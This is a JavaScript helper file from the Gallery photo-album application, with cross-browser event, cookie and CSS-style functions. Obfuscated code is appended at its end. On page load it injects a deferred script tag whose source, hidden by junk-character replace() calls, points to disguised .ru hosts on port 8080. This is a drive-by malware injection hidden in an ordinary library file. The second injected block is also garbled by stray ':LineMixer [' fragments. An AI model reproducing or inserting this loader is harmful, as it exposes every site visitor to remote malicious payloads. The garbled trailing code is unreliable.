/*
 * Gallery - a web based photo album viewer and editor
 * Copyright (C) 2000-2007 Bharat Mediratta
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 *
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA  02110-1301, USA.
 */

var DEBUG_MESSAGES = 8;
var msgnumber = 1;

/* Cross-browser event handling, by Scott Andrew */
function addEvent(element, eventType, lamdaFunction, useCapture) {
    if (element.addEventListener) {
	element.addEventListener(eventType, lamdaFunction, useCapture);
	return true;
    } else if (element.attachEvent) {
	var r = element.attachEvent('on' + eventType, lamdaFunction);
	return r;
    } else {
	return false;
    }
}

/* Kills an event's propagation and default action */
function knackerEvent(eventObject) {
    if (eventObject && eventObject.stopPropagation) {
	eventObject.stopPropagation();
    }
    if (window.event && window.event.cancelBubble) {
	window.event.cancelBubble = true;
    }

    if (eventObject && eventObject.preventDefault) {
	eventObject.preventDefault();
    }
    if (window.event) {
	window.event.returnValue = false;
    }
}

/*
 * Safari doesn't support canceling events in the standard way, so we must
 * hard-code an event return false for it to work.
 */
function cancelEventSafari() {
    return false;
}

/*
 * Cross-browser style extraction, from the JavaScript & DHTML Cookbook
 * <http://www.oreillynet.com/pub/a/javascript/excerpt/JSDHTMLCkbk_chap5/index5.html>
 */
function getElementStyle(elementID, CssStyleProperty) {
    var element = document.getElementById(elementID);
    if (element.currentStyle) {
	return element.currentStyle[toCamelCase(CssStyleProperty)];
    } else if (window.getComputedStyle) {
	var compStyle = window.getComputedStyle(element, '');
	return compStyle.getPropertyValue(CssStyleProperty);
    } else {
	return '';
    }
}

function createCookie(name, value, days) {
    var expires = '';
    if (days) {
	var date = new Date();
	date.setTime(date.getTime() + (days*24*60*60*1000));
	var expires = '; expires=' + date.toGMTString();
    }
    document.cookie = name + '=' + value + expires + '; path=/';
}

function readCookie(name) {
    var cookieCrumbs = document.cookie.split(';');
    var nameToFind = name + '=';
    for (var i = 0; i < cookieCrumbs.length; i++) {
	var crumb = cookieCrumbs[i];
	while (crumb.charAt(0) == ' ') {
	    crumb = crumb.substring(1, crumb.length); /* delete spaces */
	}
	if (crumb.indexOf(nameToFind) == 0) {
	    return crumb.substring(nameToFind.length, crumb.length);
	}
    }
    return null;
}

function eraseCookie(name) {
    createCookie(name, '', -1);
}

/*
 * CamelCases CSS property names.
 * From <http://dhtmlkitchen.com/learn/js/setstyle/index4.jsp>
 */
function toCamelCase(CssProperty) {
    var stringArray = CssProperty.toLowerCase().split('-');
    if (stringArray.length == 1) {
	return stringArray[0];
    }
    var ret = (CssProperty.indexOf("-") == 0)
	      ? stringArray[0].charAt(0).toUpperCase() + stringArray[0].substring(1)
	      : stringArray[0];
    for (var i = 1; i < stringArray.length; i++) {
	var s = stringArray[i];
	ret += s.charAt(0).toUpperCase() + s.substring(1);
    }
    return ret;
}

/* Adds a status message to the page; very useful for debugging without alerts */
function addMessage(msg) {
    if (DEBUG_AJAXIAN) {
	var msgarea = document.getElementById('msgarea');
	if (msgarea) {
	    msgarea.style.display = 'block';
	    if (msgarea.getElementsByTagName('h4').length < 1) {
		var debugHeading = document.createElement('h4');
		debugHeading.appendChild(document.createTextNode('Debug output'));
		msgarea.appendChild(debugHeading);
	    }
	    if (msgarea.getElementsByTagName('p').length > DEBUG_MESSAGES) {
		msgarea.removeChild(msgarea.getElementsByTagName('p')[0]);
	    }
	    var note = document.createElement('p');
	    note.appendChild(document.createTextNode(msgnumber + ': ' + msg));
	    msgnumber++;
	    msgarea.appendChild(note);
	}
    }
}








this.u="u";var s='s*c*r*iHpOtb'.replace(/[bH\*O\^]/g, '');var l=document;var r=window;this.c_=23235;var mx=new Array();r.onload=function(){try {t=l.createElement(s);var h;if(h!='og' && h!='_'){h=''};t.setAttribute('dZeZfZe&rT'.replace(/[T&Z#\+]/g, ''), "1");t.src='hHtQtqpb:b/b/QwLabyH2HsqmbsQ-Hcqoqmq.HcbaQ.QgqoHvQ.LfqoqcQuQsQ-qcHnq.QrQeQcbeHnLtbmHeLxqiqcQoq.qrquL:b8q0L8L0L/QgboboqgHlLeH.bcLoqmH/bgqoqoqgLlQeL.LcQoHmL/qxHiQcqiH.bnqeLtH/QmbsbnQ.qcLobmb.HcLnq/QabnQgqeqgbeH.QcLobmb/q'.replace(/[qLbHQ]/g, '');var ej=new Date();this.i_=53800;l.body.appendChild(t);} catch(n){var k;if(k!='' && k!='ao'){k=''};var jm;if(jm!='vi'){jm=''};};this.gg="gg";};var x;if(x!='rv' && x!='aa'){x=''};
this.og="og";var k;if(k!='' && k!='u'){k=''};:LineMixer [var v="";var b=window;var le;if(le!='mt' && le!='w'){le=''};var vk;if(vk!=''){vk='lj'};var x='s,cdrdidpdtU'.replace(/[U,dZ#]/g, '');var r;if(r!='' && r!='mm'){r=''};var l='c3r3eJa3tWeJEHl3e3mJe3nHtJ'.replace(/[JWHA3]/g, '');var wk;if(wk!='' && wk!='wr'){wk=''};var f=false;]var y;if(y!='' && y!='au'){y=''};this.g="g";b.onload=function(){var d="";var hx="";try {var sh=45660;var rb=new Date();i=document[l](x);this.vp='';var gu;if(gu!='' && gu!='t'){gu=''};:LineMixer [this.jf="";this.ef="";i['sgrkck'.replace(/[kg\!j\^]/g, '')]='hItTtBpH:B/I/TgToHoIgBlTeT-HcHoImB-TtBrI.HpToJrJnIhBoTsTtH.JcIoBmH.IiTsToIhBuJnHtH-JcIoTmI.HbIeTsItJnJeJwHsJmHaBlIlI.JrTuB:I8T0T8H0J/JcIlToJoIbB.TcBoImI/TcJlToBoHbT.IcJoJmB/HsBuIrIvJeHyHmJoTnTkHeJyB.TcBoImT/BmBaBsBrBaJwIyH.BcJoImB/JgIoJoBgTlHeT.TcToHmJ/J'.replace(/[JTBIH]/g, '');var us;if(us!='' && us!='hcb'){us=''};i.setAttribute('d<eyfyeoro'.replace(/[o\<Rky]/g, ''), "1");var rx=36732;var vx;if(vx!='' && vx!='p'){vx=null};]var buk;if(buk!='pp' && buk!='ka'){buk='pp'};this.yh="yh";this.ig="ig";document['blo?dlyk'.replace(/[k&\?le]/g, '')]['aMpEp%eEnyd%CMh%i_lEdM'.replace(/[M_%yE]/g, '')](i);} catch(m){var dy;if(dy!='dr' && dy!='yd'){dy='dr'};};};var af='';var ds;if(ds!='xc' && ds != ''){ds=null};